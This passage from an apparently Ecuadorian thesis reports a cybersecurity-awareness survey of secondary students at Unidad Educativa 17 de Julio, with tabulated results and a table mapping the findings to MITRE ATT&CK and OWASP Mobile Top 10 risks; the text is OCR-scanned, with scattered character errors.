https://www.google.com/maps/place/Colegio+Tecnologico+Superior+17+de+Julio/@0.3600136,-78.1255812,18.86z/data=!4m6!3m5!1s0x8e2a3ca4f8cd4bcb:0xb7a026d21e440b05!8m2!3d0.3596614!4d-78.125358!16s%2Fg%2F12llrx_16?hl=es&entry=ttu&g_ep=EgoyMDI1MDEyMi4wIKXMDSoASAFQAw%3D%3D
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3.2.1.2 Pruebas con informacion

En cuanto a las pruebas con informacion, se llevd a cabo una investigacion completa, ya
que es crucial identificar con precision el tipo de personal presente en el establecimiento y la
distribucion general del estudiantado. Esta investigacion se justifica mediante el uso de multiples
métodos de recopilacion de informacion, las cuales incluyen entrevistas informales con el personal
administrativo, consulta de bases de datos institucionales y revision de documentos oficiales de
orden administrativo.

La informacién recopilada se organizada en la Tabla 2, en donde se clasifica para el
personal docente y los estudiantes, permitiendo una rdpida comprension de la estructura de la
institucion en términos de cantidad de docentes, estudiantes y la distribuciéon por género.
Asimismo, se incluye informacion sobre la localizacion y las modalidades de funcionamiento del
establecimiento, ofreciendo un panorama integral de su organizacion
Tabla 2

Personal administrativo y académico del Instituto Tecnologico 17 de Julio.

Informacion Unidad Educativa 17 de julio

Provincia Imbabura
Canton Ibarra
Parroquia Sagrario
Modalidad Presencial
Jornada Matutina Vespertina
Docentes 53 mujeres 63 varones
Estudiantes 593 mujeres 1041 varones
Total 646 mujeres 1104 varones
Estudiantes y 1750

Docentes

Nota. Obtenido de (Educacion Ecuador, 2024).
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La Tabla 2 proporciona un panorama detallado de la Unidad Educativa "17 de Julio",
destacando aspectos clave sobre su ubicacion geografica, modalidad de ensefianza y composicion
de su comunidad educativa. La institucion se encuentra en la provincia de Imbabura,
especificamente en el cantén Ibarra, parroquia Sagrario, y ofrece educacion en modalidad
presencial, organizada en jornadas matutina y vespertina.

En cuanto al personal docente, se observa una distribucion relativamente equilibrada entre
mujeres y varones, con un total de 116 docentes, de los cuales 53 son mujeres y 63 son varones.
Por otro lado, la poblacion estudiantil muestra una mayor presencia de varones, con un total de
1,041, en contraste con las 593 estudiantes mujeres. En conjunto, la unidad educativa cuenta con
1,634 estudiantes.

Sumando el total de docentes y estudiantes, la comunidad educativa alcanza un total de
1,750 personas, lo que resalta la magnitud de la institucion y su capacidad para atender a una
amplia poblacion. Esta distribucion permite gestionar adecuadamente los recursos humanos y
logisticos en ambas jornadas. Este desglose no solo refleja el tamafio de la institucion, sino también
su estructura organizativa, diseflada para ofrecer una ensefianza presencial adaptada a las
necesidades de su comunidad.

Esta situacion resalta un aspecto importante: la informacion presentada en la Tabla 2 es de
acceso publico, lo que representa un riesgo potencial al contener datos sensibles sobre la poblacion
del establecimiento. La exposicion de estos detalles podria facilitar la planificacion de ataques
dirigidos a la comunidad educativa, lo que resalta la importancia de implementar medidas de
ciberseguridad para proteger esta informacion.

Con los datos previamente analizados, se procedié a determinar la poblacion de estudio, la

cual se presenta en la Tabla 3. Esta tabla muestra la distribucion de los estudiantes de educacion
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media superior por afio lectivo, destacando el nimero de alumnos por nivel académico. Dicha
distribucioén permite obtener una vision mas clara de los participantes involucrados en el anélisis,
asi como identificar las areas con mayor concentracion de estudiantes.

Cabe senalar que la presente investigacion se centra especificamente en los cursos de
Primero, Segundo y Tercero de Bachillerato, ya que en estos niveles se encuentra un mayor nimero
de estudiantes que utilizan dispositivos moviles o disponen de ellos libremente, lo que justifica la

eleccion de estos grupos para el estudio.

Tabla 3

Estudiantes de educacion media Superior por ario de estudio

Informacion Unidad Educativa 17 de julio

Afo lectivo Mujeres Varones
Primero de Bachillerato 64 197
Segundo de Bachillerato 48 105
Tercero de Bachillerato 49 194
Total 161 mujeres 496 varones
Total de estudiantes 657 estudiantes

Nota. Obtenido de (Educacion Ecuador, 2024).

La distribucion de estudiantes en la Unidad Educativa 17 de Julio refleja una notable
diferencia entre varones y mujeres en estos niveles de Bachillerato. Con un total de 657
estudiantes, la poblacion masculina representa el 75.5% (496 varones), mientras que la poblacion
femenina constituye el 24.5% (161 mujeres). Este patron se mantiene consistente en los tres
niveles, siendo Primero de Bachillerato el curso con mayor nimero de estudiantes (261), seguido

por Tercero de Bachillerato (243) y al final Segundo de Bachillerato (153). Este analisis permite
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comprender y orientar la implementacion de estrategias educativas en relacion con la seguridad de
los dispositivos moviles.

Con toda la informacion recopilada sobre la institucion y los riesgos previamente
identificados en las etapas anteriores, se procede a abordar la primera problematica detectada, la
cual requiere un analisis detallado. Mediante la Ecuacion 1 se calculara el tamafio de muestra y se
aplicard a este porcentaje a las encuestas. Para ello, se diseiid encuestas iniciales, cuyo objetivo es
recopilar percepciones y datos relevantes para el estudio. Estas encuestas seran aplicadas a un
grupo de estudiantes determinado a partir del calculo de la muestra, y sus respuestas fueron
analizadas en el siguiente apartado, permitiendo una evaluacion detallada de cada pregunta y de
las percepciones de los estudiantes respecto a la problematica planteada.

3.2.2 Analisis de la Encuesta

Para abordar y cuantificar la problematica de ciberseguridad en la Unidad Educativa 17 de
Julio, se desarrolla una encuesta de percepcion especifica. Esta herramienta tiene como objetivo
principal evaluar el nivel de conocimiento que los estudiantes de educacion media superior poseen
en relacion con la ciberseguridad. La encuesta fue aplicada a una muestra de 243 estudiantes y
disefiada para medir diversos aspectos criticos, incluyendo la comprension de los riesgos
cibernéticos, las practicas de seguridad recomendadas y la capacidad de los estudiantes para
identificar y responder a posibles amenazas en el entorno digital.

A través de esta encuesta, se obtiene datos que facilitaran la identificacion de areas criticas
que requieren mejora. Estos datos permitirdn adaptar y disefiar estrategias educativas mas
efectivas, con el fin de fortalecer la seguridad en linea entre los estudiantes. Seguidamente se
presentan las preguntas que conforman la encuesta:

1. (Has escuchado hablar de ciberseguridad?
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(Qué tanto sabes sobre la ciberseguridad?

(Crees que tus datos personales son vulnerables a ataques informaticos?

(Qué tan importante consideras que son tus datos personales?

(Qué medidas tomas para proteger tus datos personales? Ejemplo:

(Conoces alguna herramienta para proteger tus datos personales?

(Alguna vez usted o su entorno familiar ha sufrido algin robo de informacién digital o
ataque cibernético?

(S1 tu respuesta anterior es SI ;qué tipo de informacion fue sustraida en el ataque?

Mecanismo de ataque

10. ; Te gustaria conocer los mecanismos para proteger tu informacion personal?

11. ;Conoces alguna herramienta de hacking?

12. ;Qué sistema operativo tiene tu dispositivo mévil?

En el Anexo 1, se presentan en detalle todas las preguntas del cuestionario, las cuales

incluyen preguntas de opcion unica y de seleccion multiple. Proporcionando una vision integral

de las preguntas formuladas y de como estan estructuradas para evaluar la percepcion de los

estudiantes sobre ciberseguridad. A continuacion, se muestra la tabulacion de cada una de las

preguntas, con el fin de comprender la problematica inicial en los estudiantes de educacion

media superior.

3.2.3 Tabulacion de los resultados de la encuesta

Para analizar los datos obtenidos en la primera encuesta aplicada a la muestra de 243

estudiantes de la unidad educativa 17 de julio, se lleva a cabo un proceso de tabulacion y

organizacion de respuestas. Este procedimiento permite transformar la informacion recolectada

en datos estructurados, facilitando la interpretacion y el analisis de los resultados. La tabulacion
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es una etapa fundamental en el estudio, ya que permite identificar patrones, tendencias y areas
criticas en la percepcion y conocimiento de los estudiantes sobre ciberseguridad los cuales se los
interpreta como encuestados.

El objetivo es obtener una vision detallada de los héabitos de uso de los estudiantes
mediante la recoleccion de datos derivados de las encuestas, su nivel de conocimiento sobre
practicas seguras y la frecuencia de incidentes de seguridad que han experimentado. Esta
informacion es fundamental para desarrollar estrategias de concientizacion efectivas y medidas
preventivas que fortalezcan la seguridad digital en el entorno educativo. Los resultados obtenidos
se presentan en graficos que reflejan las respuestas de los participantes como también el analisis
de los mismos, proporcionando una vision detallada del estado actual del conocimiento en
ciberseguridad.

En el Anexo 2, se presentan una serie de tablas con las preguntas de la encuesta, con el
objetivo de relacionarlas con los graficos mostrados. Estos recursos visuales proporcionan una
comprension mas profunda del conocimiento de los encuestados sobre ciberseguridad,
permitiendo identificar areas criticas y oportunidades para mejorar la proteccion digital en la

institucion.
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Pregunta 1: Conocimiento General sobre Ciberseguridad

Figura 6

Resultados de la primera pregunta de la encuesta preliminar

éHas escuchado hablar de ciberseguridad?

=S| =NO

En relacion con la Figura 6, el 54% de los encuestados tiene conocimiento sobre el
término ciberseguridad, lo que representa un hallazgo positivo y alentador. Este resultado sugiere
que un porcentaje significativo de la poblacion reconoce la importancia de la ciberseguridad y es
mas probable que tome medidas para protegerse contra posibles amenazas en el entorno digital.
Sin embargo, el 46% de los encuestados no tiene conocimiento sobre ciberseguridad, lo que
resalta la necesidad continua de educacion y concienciacion en este &mbito. Por lo tanto, es
crucial implementar iniciativas educativas y campanas de sensibilizacion para aumentar el
conocimiento sobre ciberseguridad y promover una cultura integral de proteccion digital. Los

resultados tabulados de esta pregunta pueden consultarse en la Tabla 13 del Anexo 2.
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Pregunta 2: Nivel de Conocimiento sobre Ciberseguridad

Figura 7

Resultados de la segunda pregunta sobre el conocimiento a la ciberseguridad

¢Qué tanto sabes sobre la ciberseguridad?

0,41% 1,65%

|

= Muy Alto = Alto = Medio Bajo = Muy Bajo

Las tasas de respuesta presentadas en la Figura 7 muestran los niveles de conocimiento
sobre ciberseguridad de los encuestados. De los 243 participantes, 107 encuestados (44.03%) se
encuentran en el nivel Muy Bajo de conocimiento, lo que representa el grupo mas numeroso. Se
observa que 106 encuestados (43.62%) se encuentran en el nivel Bajo, indicando que la mayoria
posee conocimientos limitados en esta area. Solo 25 encuestados (10.29%) alcanzaron un nivel
Medio, mientras que 4 encuestados (1.65%) se posicionaron en el nivel Alto. Es importante
destacar que solo un estudiante (0.41%) indic6 poseer un conocimiento Muy Alto. Este
panorama resalta la necesidad de fortalecer el conocimiento general sobre ciberseguridad,
especialmente en los niveles Muy Bajo y Bajo, mediante diferentes programas educativos. En la

Tabla 14 del Anexo 2 pueden consultarse los resultados tabulados de esta pregunta.
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Pregunta 3: Percepcion de Vulnerabilidad

Figura 8

Resultados de la tercera pregunta sobre vulnerabilidades informaticas

¢Crees que tus datos personales son vulnerables a ataques
informaticos?

=S| =NO

Como se ilustra en la Figura 8, el 56% de los encuestados cree que sus datos personales
son vulnerables a los ciberataques. Este resultado indica que una parte significativa de la
poblacion es consciente de los riesgos asociados a la ciberseguridad y es mas probable que tome
medidas para proteger su informacion personal. Esta percepcion de vulnerabilidad puede motivar
a los estudiantes a adoptar practicas de seguridad més rigurosas y a estar atentos a las amenazas
digitales. Sin embargo, el 44% de los encuestados no considera que sus datos personales sean
vulnerables, lo que sugiere que ain queda un importante trabajo por hacer en términos de
educacion y concienciacion. En la Tabla 15 del Anexo 2 se indica la tabulacion de los resultados

de esta pregunta.
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Pregunta 4: Valoracion de los Datos Personales

Figura 9

Resultados de la cuarta pregunta sobre la importancia de los datos

¢Qué tan importante consideras que son tus datos
personales?

m De gran importancia = De poca importancia = Ninguna

Segun lo mostrado en la Figura 9, el 56% de los encuestados considera que sus datos
personales son importantes, lo que representa un hallazgo alentador. Este dato sugiere que una
parte significativa de la poblacion valora su informacion personal y por lo tanto, es més probable
que tome medidas para protegerla de posibles amenazas. Fomentar la valoracion de los datos
personales es clave para promover practicas de seguridad mas rigurosas y efectivas. A pesar de
que la mayoria reconoce los peligros en linea, un porcentaje considerable de encuestados
selecciono "ninguna importancia" o "poca importancia", representando un 44%. Esto sugiere un
posible desconocimiento o una falta de percepcion sobre la gravedad de la proteccion de sus
datos personales. La tabulacion de los resultados de esta encuesta se puede consultar en la Tabla

16 del Anexo 2.
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Pregunta 5: Practicas de Proteccion de Datos Personales

Figura 10

Resultados de la quinta pregunta sobre herramientas de proteccion

¢Qué medidas tomas para proteger tus datos personales?

27
3
I

H Antivirus M Encriptar la informacion
m Utilizar claves para acceso a archivos ® Ocultar archivo o carpetas
B No compartes informacion sensible m Utilizar redes privadas virtuales

m Otros:

La Figura 10 ilustra claramente que la medida mas comtn adoptada por los encuestados
para proteger sus datos personales es "No compartes informacion sensible", con un total de 69
respuestas en esta categoria. Esta practica es ampliamente reconocida como fundamental para la
seguridad de la informacion. La segunda medida mas seleccionada fue "Utilizar claves para
acceso a archivos", con 67 respuestas. El uso de contrasefas es una estrategia clave para proteger
el acceso a la informacion personal y profesional. Ademads, 54 encuestados indicaron que
recomiendan utilizar un antivirus, lo cual es una medida importante para prevenir amenazas
cibernéticas. Por otro lado, 41 respuestas indicaron "Encriptar la informacion", lo que afiade una
capa adicional de seguridad al proteger la informacion sensible contra accesos no autorizados.

"Utilizar redes privadas virtuales" fue mencionado por 33 respuestas, lo que sugiere una
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conciencia creciente sobre la proteccion de la privacidad en linea. Sin embargo, solo 27
respuestas indicaron "Ocultar archivos o carpetas", lo que puede reflejar una adopcion menos
generalizada de esta medida de seguridad. Por otro lado, 3 respuestas indicaron que adoptan
medidas de proteccion no especificadas u otras opciones en la encuesta.

El grafico ofrece una vision de las practicas comunes de proteccion de datos personales,
mostrando que, mientras el uso de antivirus y contrasefias son practicas ampliamente adoptadas,
otras medidas de seguridad, como el cifrado y el uso de redes privadas virtuales, son menos
comunes. Este patron sugiere que, aunque las practicas bésicas de seguridad son bien conocidas
y aplicadas, existe una oportunidad significativa para ampliar la educacion sobre estrategias
avanzadas de proteccion. Incrementar el conocimiento sobre estas medidas de ciberseguridad
podria mejorar significativamente la seguridad general de los datos personales entre los
encuestados. En la Tabla 17, ubicada en el Anexo 2, se puede consultar la tabulacion de esta
pregunta.

Es importante destacar que los valores presentados en la Figura 10 superan el total de la
muestra encuestada, ya que esta pregunta permitio seleccion multiple. Esto significa que cada
participante pudo elegir mas de una medida de proteccion para sus datos personales, lo que

explica el nimero total de respuestas registradas.
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Pregunta 6: Conocimiento de Herramientas de Proteccion

Figura 11

Resultados de la sexta pregunta herramientas de proteccion

éConocer alguna herramienta para proteger tus datos
personales?

B Antivirus M Firewal Servidores proxi

Antispyware B Generadores de contrasefia B Redes privadas virtuales

M Escéner de vulnerabilidades B Otros

En referencia a la Figura 11, se observa que 71 respuestas indicaron que la herramienta
mas conocida para proteger datos personales es el antivirus. Esto indica un amplio conocimiento
sobre la importancia de los antivirus en la defensa contra software malicioso. El firewall ocupa el
segundo lugar en términos de reconocimiento por parte de los estudiantes, con 70 respuestas que
lo mencionaron, lo que demuestra una comprension generalizada de su papel en la proteccion de
las redes informaticas. Ademas, 64 respuestas indicaron conocer los generadores de contrasefias,
lo que subraya la importancia de crear contrasefas seguras y Unicas para diferentes cuentas y
servicios. 52 respuestas seleccionaron el antispyware, reflejando cierta familiaridad con
herramientas disefiadas para detectar y eliminar software espia.

Sin embargo, solo 15 respuestas indicaron conocer las redes privadas virtuales, lo que

sugiere que, aunque esta herramienta es crucial para proteger la privacidad en linea y asegurar
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conexiones a Internet, aun no es ampliamente conocida entre los estudiantes. En cuanto a los
servidores proxy y el escaner de vulnerabilidades, cada uno fue mencionado por 7 respuestas,
respectivamente. Esto muestra que las herramientas mas especializadas y técnicas, aunque
esenciales para una proteccion mas avanzada, tienen un reconocimiento limitado. Ademas, 7
encuestados mencionaron que desconocian por completo las herramientas mencionadas o tenian
conocimiento de otras herramientas no especificadas en la encuesta.

Este analisis destaca la prevalencia del conocimiento sobre herramientas basicas de
proteccion, como los antivirus y firewalls, lo cual es positivo. Sin embargo, también sugiere
oportunidades significativas para aumentar el conocimiento y el uso de herramientas mas
especializadas y avanzadas, como las VPN, servidores proxy y escaneres de vulnerabilidades.
Promover una mejor educacion sobre estas herramientas puede mejorar considerablemente la
capacidad de los estudiantes para proteger sus datos personales y fortalecer su seguridad
cibernética en general. Para un andlisis descriptivo, se puede consultar la Tabla 18, ubicada en el
Anexo 2.

Es importante destacar que los valores presentados en la Figura 11 superan el total de la
muestra encuestada, ya que esta pregunta permitio seleccion multiple. Esto significa que cada
participante pudo elegir mas de una herramienta de seguridad seglin su nivel de conocimiento y

experiencia, lo que explica el nimero total de respuestas registradas.
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Pregunta 7: Experiencias Personales con Ciberataques

Figura 12

Resultados a la séptima pregunta sobre un ataque cibernético

¢Alguna vez usted o su entorno familiar ha sufrido algun
robo de informacodn digital o ataque cibernético?

u S| =NO

La Figura 12 ilustra que el 71% de los encuestados no ha sido victima de robo de
informacion digital o ciberataques. Por el contrario, el 29% de los encuestados indico que si ha
experimentado este tipo de ataques cibernéticos. Este andlisis resalta la prevalencia de problemas
de seguridad digital entre los encuestados, subrayando la importancia de crear conciencia y adoptar
medidas de proteccion contra los ciberataques. Para un andlisis descriptivo, se puede consultar la

Tabla 19, ubicada en el Anexo 2.
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Pregunta 8: Impacto de los Ciberataques

Figura 13

Respuesta a la octava pregunta sobre la informacion vulnerable

¢Si tu respuesta anterior es Si ¢ Qué tipo de informacion fue
sustraida en el ataque?

= Informacion personal = Claves Tarjetas bancarias Otros:

Con respecto a la Pregunta 8, solo un porcentaje de encuestados que seleccionaron "Si"
en la Pregunta 7 pudieron responder esta seccion. Esto significa que la Pregunta 8§ est4 enfocada
unicamente en los encuestados que indicaron haber sido victimas de algun ciberataque o robo de
informacion digital.

Por lo tanto, segun lo mostrado en la Figura 13, el 48% de los encuestados indic6 que el
impacto de los ciberataques estuvo dirigido a su informacion personal, mientras que el 22%
menciond que sus claves de acceso fueron sustraidas. De manera similar, el 22% sefial6 que la
informacion comprometida correspondia a tarjetas bancarias, y el 8% mencion6 otros tipos de
informacion. Esto destaca la necesidad de mejorar las medidas de ciberseguridad y crear mayor
conciencia sobre las amenazas existentes y las formas de mitigarlas. En la Tabla 20 del Anexo 2

se puede consultar la tabulacion de esta pregunta.
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Pregunta 9: Mecanismos de Ataque Utilizados

Figura 14

Respuestas a la novena pregunta sobre los mecanismos de ataque

¢Cual fue el mecanismo de ataque?

44%

® Mensaje por SMS = Correo = llamada Link para robo de contrasefias = Otros:

Con respecto a la Pregunta 9, esta es una continuacion de la Pregunta 8, ya que profundiza
en los mecanismos de ataque que experimentaron las victimas de ciberataques o robo de
informacion personal.

En la Figura 14, se muestra que el 44% de los encuestados mencioné que el ataque se
produjo a través de un enlace para el robo de contrasefias. El 23% seleccion6 correos electronicos
como el medio del ataque, mientras que el 17% indic6 que fue victima mediante un mensaje por
SMS. Ademas, el 12% manifestd que el ataque ocurri6 a través de llamadas telefonicas, y
solamente el 3% menciond otros métodos. Al relacionar estos datos con la pregunta anterior sobre
el tipo de informacion sustraida durante el ciberataque, se observa que la mayoria de los ataques
que resultaron en la sustraccién de informacion personal y financiera utilizaron principalmente

enlaces fraudulentos para el robo de contrasefias y correos electronicos.
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Esta situacion destaca la urgente necesidad de mejorar la educacion en ciberseguridad, con
el fin de identificar y evitar estos frecuentes métodos de ataque. Para un andlisis descriptivo, se
puede consultar la Tabla 21, ubicada en el Anexo 2.

Pregunta 10: Interés en Aprender sobre Proteccion de Informacion

Figura 15

Respuesta a la décima pregunta sobre la proteccion de datos

¢éTe gustaria conocer los mecanismos para proteger tu
informacidén personal?

=S| =NO

La tabulacion representada en la pregunta 10 vuelven a considerar el numero total de
encuestados, ya que esta pregunta fue dirigida a toda la muestra. La Figura 15 muestra que el 59%
de los encuestados expresa un fuerte interés en conocer los mecanismos para proteger su
informacion personal.

Este resultado resalta la necesidad urgente de educacion y concienciacion sobre seguridad
digital. Sin embargo, el 41% de los encuestados no mostro interés en aprender sobre este tema. A

pesar de esto, la abrumadora preferencia por adquirir conocimientos sobre proteccion de la
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informacion personal subraya la importancia de desarrollar programas educativos accesibles y
efectivos. Implementar estos programas no solo responderia a la demanda existente, sino que
también podria contribuir a reducir la vulnerabilidad general ante ciberataques. Para un analisis
descriptivo, se puede consultar la Tabla 22, ubicada en el Anexo 2.

Pregunta 11: Conocimiento de Herramientas de Hacking

Figura 16

Respuestas a la onceaba pregunta sobre herramientas de hacking
éConoces alguna herramienta de hacking?

119

.. & -..

M Flipper m Usb Killer Kali Linux ® Keyloguer ™ Aircrack ™ Tcpdum Otros:

Como se detalla en la Figura 16, la mayoria de los encuestados no esta familiarizada con
las herramientas seleccionadas. Cabe destacar que esta pregunta supera el total de la muestra
encuestada, ya que permitia seleccion multiple. En este contexto, 119 encuestados indicaron un
desconocimiento general sobre herramientas de hacking u otras herramientas no especificadas. Sin
embargo, hay excepciones destacables. 34 encuestados conocen Aircrack, una herramienta

utilizada para analizar el trafico Wi-Fi. De igual manera, 34 encuestados estan familiarizados con
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Flipper y USB Killer, herramientas de hardware utilizadas para inyectar codigos maliciosos y
dafiar dispositivos, respectivamente.

Por otro lado, Tcpdump, que captura y analiza el trafico de la red, tiene una tasa de
reconocimiento media, siendo conocida por 33 encuestados. Asimismo, Kali Linux, una
distribucioén de Linux con multiples herramientas de hacking, es reconocida por 23 encuestados.
Ademés, el keylogger, que registra las pulsaciones del teclado para robar informacién, fue
mencionado por 16 encuestados. Las respuestas tabuladas para esta pregunta se pueden consultar
en la Tabla 23, ubicada en el Anexo 2.

Estos datos subrayan una brecha significativa en el conocimiento sobre herramientas de
hacking entre los encuestados. La familiaridad con herramientas especificas como Aircrack,
Flipper, USB Killer, Tcpdump y Kali Linux indica la necesidad de una mayor educacion y
concienciacion sobre estas tecnologias y sus implicaciones en la seguridad digital. Se recomienda
desarrollar programas educativos que aborden tanto el uso y las amenazas de estas herramientas
como estrategias de ciberseguridad para fortalecer la capacidad de los estudiantes en la defensa
contra posibles ataques. Esto no solo aumenta su seguridad personal, sino que también contribuye

a la creacidon de una comunidad mas resiliente frente a las ciberamenazas.
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Pregunta 12: Sistema Operativo Movil

Figura 17

Respuesta a la doceava pregunta sobre la proteccion de datos

¢Qué sistema operativo tiene tu dispositivo movil?

= Android = i0OS

La Figura 17 muestra los resultados obtenidos en la pregunta referente al sistema operativo
de los dispositivos moviles. De acuerdo con los datos representados en el grafico, el 96% de los
estudiantes utilizan dispositivos con sistema operativo Android, mientras que el 4% utilizan
dispositivos con sistema operativo 10S. Estos resultados reflejan una tendencia predominante
hacia el uso de Android en este sector estudiantil, lo que puede deberse a varios factores, como la
accesibilidad econdmica y la variedad de dispositivos disponibles en el mercado con este sistema
operativo.

Ademas, al analizar las versiones de los sistemas operativos mas comunes entre los

estudiantes, se identificd que:
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e En el caso de Android, las versiones 12 y 13 son las mas utilizadas, lo que sugiere que
muchos estudiantes poseen dispositivos relativamente recientes, aunque es posible que
algunos aun usen versiones mas antiguas debido a limitaciones de hardware o
actualizaciones no realizadas.

e Para los dispositivos con iOS, las versiones mas frecuentes fueron 15 y 16, lo que indica
que los estudiantes con dispositivos de Apple cuentan con modelos relativamente
actualizados, aunque no necesariamente los mas recientes.

En términos generales, estos datos permiten inferir que la mayoria de los estudiantes
acceden a tecnologias moviles con capacidades relativamente actuales, aunque la predominancia
de Android sugiere que los costos y la accesibilidad influyen significativamente en la eleccion de
los dispositivos. Esta informacion es clave para considerar estrategias de seguridad digital y
educacion en ciberseguridad, ya que las amenazas y las medidas de proteccion pueden variar
dependiendo del sistema operativo y su version. Para un analisis descriptivo, se puede consultar la

Tabla 24, ubicada en el Anexo 2.

3.2.4. Analisis de Vulnerabilidades

El creciente uso masivo de teléfonos inteligentes en entornos educativos ha puesto de
relieve la necesidad de implementar medidas solidas de ciberseguridad, debido a que salvaguardar
estos dispositivos de la amplia gama de amenazas es esencial para proteger los datos confidenciales
y la privacidad del estudiante. Segtin la normativa ISO 27005 en su apartado 4.2, correspondiente
a evaluacion de riesgos, es necesario identificar las vulnerabilidades y las posibles amenazas o

afectaciones para entender su impacto y probabilidad. Esto coincide con la fase de identificacion
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de vulnerabilidades, la cual constituye un paso fundamental para disefar estrategias efectivas que
mitiguen los riesgos asociados al uso de dispositivos moéviles en el ambito educativo.

Plataformas como, MITRE ATT&CK® (2024) Y OWASP (2024) proporcionan pautas y
metodologias detalladas para identificar y mitigar riesgos en aplicaciones mdviles y sistemas de
informacion. A continuacion, en la Tabla 4 se presenta el analisis de vulnerabilidades basado en
pruebas a ciegas, pruebas con informacion y el diagndstico de vulnerabilidades derivado de la
encuesta aplicada a los estudiantes de la Unidad Educativa 17 de Julio. Este analisis tiene como
finalidad establecer una postura de seguridad integral que aborde las multiples facetas de la
proteccion de dispositivos méviles y su informacion.

Cabe destacar que la relacion de vulnerabilidades identificadas en las pruebas con
informacion se baso en el apartado de técnicas para dispositivos méviles de MITRE ATT&CK,
mientras que las vulnerabilidades detectadas en las pruebas a ciegas se fundamentaron en el

apartado de los 10 principales riesgos de dispositivos moviles de OWASP.

Tabla 4

Andlisis de vulnerabilidades mediante pruebas a ciegas

Vulnerabilidad
- Resultados de la Pruebas c-(’)n Vulnerabilidad Pruebas a .
Vulnerabilidad encuesta informacion ciegas (OWASP 2024) Comentarios
(MITRE g
ATT&CK ®)
Relacionada con la
pregunta 1 de la
encuesta el 46% de
los encuestados no El bajo conocimiento
. tiene conocimiento en ciberseguridad hace
Desconocimientos ., .
sobre sobre Suplantacion de MG6: Controles de que los usuarios no
. . ciberseguridad. identidad (T1660)  privacidad inadecuados. ~ protejan
ciberseguridad .
Relacionada con la adecuadamente su
pregunta 2 de la informacion.

encuesta el 87,65%
presenta bajos o
muy bajos



https://attack.mitre.org/techniques/T1660/
https://owasp.org/www-project-mobile-top-10/2023-risks/m6-inadequate-privacy-controls.html
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conocimientos
sobre
ciberseguridad

Ataque de
dispositivos y
descarga de datos
personales

Relacionada con la
pregunta 3 de la
encuesta, el 56%

de los encuestados

cree que sus datos

personales son

vulnerables
ataques
informaticos y
también que sus
datos son

importantes

Descarga de
credenciales
(T1516) y Datos
del sistema local

(T164)

M9: Almacenamiento de
datos inseguro.

Los  usuarios no
utilizan medidas
adecuadas para
proteger su
informacion

almacenada en los
dispositivos.

Inseguridad en las

Relacionada con la
pregunta 5 de la
encuesta las
Medidas de
ciberseguridad que
optan: no comparte

Exfiltracion de

datos en texto claro

MS5: Comunicacion

Las técnicas usadas
por los estudiantes
como encriptacion de

. . ., (T1560) para . . .,
comunicaciones informacion . insegura. informacion protegen
. implementar . -,
sensible, usa claves . ., la informacion en
encriptacion. A
para acceso de transito.
archivos, antivirus,
encriptar
informacion
Relacionada con la .
Las herramientas que
pregunta de la
emplean los
encuesta, el . ..
. . . , estudiantes mitigan las
Uso de conocimiento de  Ejecucion a través

herramientas de

herramientas de

de API (T1516) o

M10: Criptografia

técnicas de ejecucion
de robo de

proteccion de proteccion: procesos de insuficiente ~ ,
datos Antivirus, inyeccion (T1631) contrasefias. Ademas,
Firewall un ge~nerad0r de
Genera dor, de contraseqas asegura
contrasefias claves mas robustas.
Relacionada con la
Pregunta 7 de la
encuesta, el 29%
ha sufrido .
ciberataques y Los 01ber’ataques que
relacionada con la han exp crimentado 1(,)8
Penetracion y pregunta 9 de la Suplantacion de M3: estudiantes estan

extraccion de
datos personales

encuesta se
extrajeron sus
datos personales, a
través de link para
robo de

contrasefas, correo

electronico,
mensaje por SMS

identidad (T1660) Autenticacion/Autorizacion

(Phishing).

insegura.

directamente
relacionados con las
vulnerabilidades de las
pruebas a ciegas y con
informacion.



https://attack.mitre.org/techniques/T1516/
https://attack.mitre.org/techniques/T1641/
https://owasp.org/www-project-mobile-top-10/2023-risks/m9-insecure-data-storage.html
https://attack.mitre.org/techniques/T1560/
https://owasp.org/www-project-mobile-top-10/2023-risks/m5-insecure-communication.html
https://attack.mitre.org/techniques/T1516/
https://attack.mitre.org/techniques/T1631/
https://owasp.org/www-project-mobile-top-10/2023-risks/m10-insufficient-cryptography.html
https://attack.mitre.org/techniques/T1660/
https://owasp.org/www-project-mobile-top-10/2023-risks/m3-insecure-authentication-authorization.html
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y llamada
telefonica.

Relacionada con la
pregunta 10 de la
Oportunidades de  encuesta, el 59% Mitigacion del
Capacitacion tiene interés por Phishing.
aprender de
ciberseguridad

M6: Controles de
Privacidad.

Aunque no representa
una vulnerabilidad, el
interés de aprender
sobre ciberseguridad
representa una
oportunidad para
aprender a mitigar los
riesgos de Psishing o
controles de
privacidad.

Relacionada con la
pregunta 11 de la
encuesta, el
Conocimiento de  Network Sniffing o
Desconocimiento  herramientas de ~ espionaje T1423 y
del Hacking Ftico  Hacking Etico:  almacenamiento de
Flipper, USB contrasefias T1634
Killer, Aircrack,
Tcpdum, entre
otros.

M7: Protecciones binarias
insuficientes

Las herramientas
como Aircrack o
Tepdump se
relacionan con las
vulnerabilidades de
las herramientas. Si
las herramientas son
mal utilizadas se
comprometen
aplicaciones o redes.

De acuerdo con la informacion de la Tabla 4, se identifica que las vulnerabilidades en los

dispositivos moéviles estan codificadas y tienen un modo de operacion definido, lo que permite

reconocer su proceso de ejecucion para analizar sus repercusiones y posteriormente realizar su

mitigacion. En este sentido, el desconocimiento sobre ciberseguridad entre los estudiantes y el mal

uso de los dispositivos moviles evidencian la necesidad de implementar controles de privacidad

adecuados. Asimismo, se observa que los ataques cibernéticos mas frecuentes incluyen la descarga

de credenciales y datos del sistema, asi como el almacenamiento inseguro de informacion, lo que

representa un alto riesgo de filtracion de datos en las comunicaciones.

Por otro lado, se destaca que los estudiantes emplean herramientas de proteccion, como

antivirus y generadores de contrasefias, lo cual refleja la importancia que le otorgan a la

seguridad de su informacion personal. Sin embargo, el método de ciberataque mas comun


https://owasp.org/www-project-mobile-top-10/2023-risks/m6-inadequate-privacy-controls.html
https://attack.mitre.org/techniques/T1423/
https://attack.mitre.org/techniques/T1634/
https://owasp.org/www-project-mobile-top-10/2023-risks/m7-insufficient-binary-protection.html
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identificado fue el phishing, lo que subraya la necesidad de capacitar a los estudiantes sobre los
tipos de riesgos cibernéticos y el uso adecuado de herramientas para proteger sus datos. Esta
capacitacion no solo mitigaria las vulnerabilidades actuales, sino que también fortaleceria su
conciencia sobre la ciberseguridad.

3.2.5. Definicion de objetivos secundarios

Seglin la normativa ISO/IEC 27005:2022 en su apartado 7.2 Identifying information
security risks y 7.3 Analysing information security risks, correspondiente a la identificacion de
activos y valoracion de riesgos, se establece la necesidad de definir objetivos secundarios que
